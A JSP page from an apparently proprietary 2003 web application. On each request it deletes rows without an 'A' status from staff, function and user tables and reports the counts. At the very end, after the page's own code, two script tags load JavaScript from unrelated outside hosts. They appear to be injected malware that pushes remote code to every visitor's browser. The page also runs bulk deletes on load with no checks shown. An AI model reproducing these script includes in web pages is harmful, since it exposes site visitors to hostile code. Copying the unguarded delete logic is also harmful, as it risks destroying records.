<%
/*
 * @(#)DeleteNotAvailable.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  DeleteNotAvailable.jsp

  This class is used to delete tuples from schemas 
  when the tuples (records) have obsoleted

    @author          Phoebe Wong
    @company         DCIVision Limited
    @creation date   04/07/2003
    @version         $Revision: 1.2.44.1 $
*/
%>

<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
    <%
    String[] asTableNames = {"STAFF_RECORD",
                             "SYS_FUNCTION",
                             "USER_RECORD"};
    Connection conn = null;
    String sSqlStat = null;
    PreparedStatement stat = null;
    ResultSet rs = null;     
    conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    if ( conn != null ) {  
    %>
      <table border="2" cellspacing="1" cellpadding="4" bgcolor="#CCFFFF">  
      <tr><th><b><font size=5 color="#FFoooF">&nbsp;Table Name &nbsp</font></b>    
      <th><b><font size=5 color="#FFoooF">&nbsp;Tuples Deleted &nbsp</font></b></tr>
      <%
         
      for ( int i = 0; i < asTableNames.length; ++i ) {   
      int nCount=0;     
        try {  
          /***** Delete Tuples from the Schemas If Status is Not Available *****/       
          sSqlStat = "DELETE FROM " + asTableNames[i] + " WHERE STATUS <> 'A'"; 
          stat = conn.prepareStatement(sSqlStat);
          nCount = stat.executeUpdate();
          out.println("<tr>");
          out.println("<td align=\"center\"><font face=\"Comic Sans MS\" color=\"#0000FF\">" + asTableNames[i] + "</font></td>");
          out.println("<td align=\"center\">" + nCount + "</td>");
          out.println("</tr>");
          /**********************************************************************/ 
        } catch (SQLException e) {
          LogFactory.getLog(this.getClass()).error(e, e);
        } finally {
          try { stat.close(); } catch (Exception ignore) {} finally { stat = null; }
          try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
        }        
      }
      %>
      </table>
<%
    }  
%>         
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>